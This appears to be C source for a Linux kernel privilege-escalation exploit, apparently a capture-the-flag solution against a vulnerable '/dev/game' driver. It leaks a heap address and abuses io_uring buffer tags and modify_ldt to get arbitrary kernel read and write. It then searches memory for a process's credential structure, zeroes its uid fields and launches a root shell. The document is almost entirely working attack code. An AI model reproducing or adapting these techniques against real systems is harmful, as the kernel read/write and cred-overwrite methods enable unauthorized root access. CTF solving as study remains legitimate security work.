1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227
| #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <sys/prctl.h> #include <sys/ioctl.h> #include <sys/syscall.h> #include <asm/ldt.h> #include <string.h> #include "liburing.h"
int fd = -1; #define PAGESIZE 0x1000 #define ProcessNUM 0x30 #define UringNUM 0x20 pid_t processes[ProcessNUM]; #define __ID__ "wawwwwww"
struct io_uring ring, ring1, ring2; struct ldt_struct { size_t entries; unsigned int nr_entries; int slot; };
void errExit(char * msg) { printf("[x] Error at: %s\n", msg); exit(EXIT_FAILURE); }
void init_uring(){ io_uring_queue_init(2,&ring, 0); io_uring_queue_init(2,&ring1,0); io_uring_queue_init(2,&ring2,0); }
void register_tag(struct io_uring *ring,size_t *data,int num){ char tmp_buf[0x2000]; struct iovec vecs[num]; size_t tags[num]; memcpy(tags,data,num*sizeof(size_t)); for(int i=0;i<num;i++){ vecs[i].iov_base = tmp_buf; vecs[i].iov_len = 1; } int res = io_uring_register_buffers_tags(ring,vecs,(__u64 *)tags,num); if (res < 0){ printf("io_uring_register_buffers_tags %d\n",res); exit(-1); } }
void update_tag(struct io_uring *ring,size_t Data,int num){ char tmp_buf[1024]; struct iovec vecs[2]; vecs[0].iov_base = tmp_buf; vecs[0].iov_len = 1; vecs[1].iov_base = tmp_buf; vecs[1].iov_len = 1; int ret = io_uring_register_buffers_update_tag(ring, 0,vecs,(__u64 *)Data,num); if (ret <0){ printf("io_uring_register_buffers_update_tag %d\n",ret); exit(-1); } }
int spawn_processes() { for (int i = 0; i < ProcessNUM; i++) { pid_t child = fork(); if (child == 0) { if (prctl(PR_SET_NAME, __ID__, 0, 0, 0) != 0) { perror("Could not set name"); } uid_t old = getuid(); kill(getpid(), SIGSTOP); uid_t uid = getuid(); if (uid == 0) { puts("Enjoy root!"); system("/bin/sh"); } exit(uid); } if (child < 0) { return child; } processes[i] = child; } return 0; } size_t find_cred(size_t heap) { struct ldt_struct ldt; char buf[PAGESIZE]; size_t *result_addr; size_t cred_addr = -1; int pipe_fd[2]; int res = pipe(pipe_fd); if(res) errExit("pipe");
heap = (heap/0x1000)*0x1000; for (int i = 0; i < PAGESIZE*PAGESIZE ; i++) { if(i && (i % 0x100) == 0){ printf("looked up range from %p ~ %p\n",heap - i * PAGESIZE,heap + i * PAGESIZE); } memset(buf,0,PAGESIZE); ldt.entries = heap - i * PAGESIZE; ldt.nr_entries = PAGESIZE/8; update_tag(&ring,(size_t)&ldt,2); if(!fork()){ int res = syscall(SYS_modify_ldt, 0, buf, PAGESIZE); if(res == PAGESIZE){ result_addr = (size_t*) memmem(buf, 0x1000, __ID__, 8); if (result_addr){ printf("\033[32m\033[1m[+] Found cred: \033[0m0x%lx\n", result_addr[-2]); cred_addr = result_addr[-2]; } write(pipe_fd[1], &cred_addr, 8); } exit(0); } wait(NULL); read(pipe_fd[0], &cred_addr, 8); if (cred_addr != -1) break; memset(buf,0,PAGESIZE); ldt.entries = heap + i * PAGESIZE; ldt.nr_entries = PAGESIZE/8; update_tag(&ring,(size_t)&ldt,2); if(!fork()){ int res = syscall(SYS_modify_ldt, 0, buf, PAGESIZE); if(res == PAGESIZE){ result_addr = (size_t*) memmem(buf, 0x1000, __ID__, 8); if (result_addr){ printf("\033[32m\033[1m[+] Found cred: \033[0m0x%lx\n", result_addr[-2]); cred_addr = result_addr[-2]; } write(pipe_fd[1], &cred_addr, 8); } exit(0); } wait(NULL); read(pipe_fd[0], &cred_addr, 8); if (cred_addr != -1) break; } return cred_addr; }
int spawn_root_shell() { for (int i = 0; i < ProcessNUM; i++) { kill(processes[i], SIGCONT); } while(wait(NULL) > 0);
return 0; }
int main(){ struct user_desc desc; size_t leak_heap,cred; size_t Data[0x1000]; memset(Data,0,sizeof(Data)); memset(&desc,0,sizeof(struct user_desc)); char leak[0x10]; fd = open("/dev/game",O_RDWR); if(fd == -1) errExit("fail to open dev");
ioctl(fd,0,0); spawn_processes();
ioctl(fd,114,"flag=123456789"); init_uring(); ioctl(fd,1,0); ioctl(fd,114,"flag=123456789"); syscall(SYS_modify_ldt, 1, &desc, sizeof(desc)); read(fd,leak,0x10); leak_heap = *(size_t*)leak; if((!leak_heap)) errExit("\033[31m[-] Could not leak heap_addr \033[0m"); printf("\033[32m\033[1m[+] leak heap_addr: \033[0m0x%lx\n", leak_heap);
ioctl(fd,22,0); Data[0] = leak_heap; register_tag(&ring,Data,2); cred = find_cred(leak_heap);
close(fd); fd = open("/dev/game",O_RDWR); if(fd == -1) errExit("fail to open dev"); ioctl(fd,0,0); ioctl(fd,114,"flag=123456789"); ioctl(fd,1,0); ioctl(fd,114,"flag=123456789"); register_tag(&ring1,Data,PAGESIZE/8 + 1); ioctl(fd,22,0); Data[0] = cred+4; register_tag(&ring2,Data,2); Data[0] = 0; update_tag(&ring1,(size_t)Data,1); for(int i = 0;i<3;i++){ Data[0] = cred+4+8*(i+1); update_tag(&ring2,(size_t)Data,1); Data[0] = 0; update_tag(&ring1,(size_t)Data,1); } puts("\033[32m\033[1m[+] Done \033[0m"); spawn_root_shell(); puts("\033[31m[-] It should never be here \033[0m"); return 0; }
|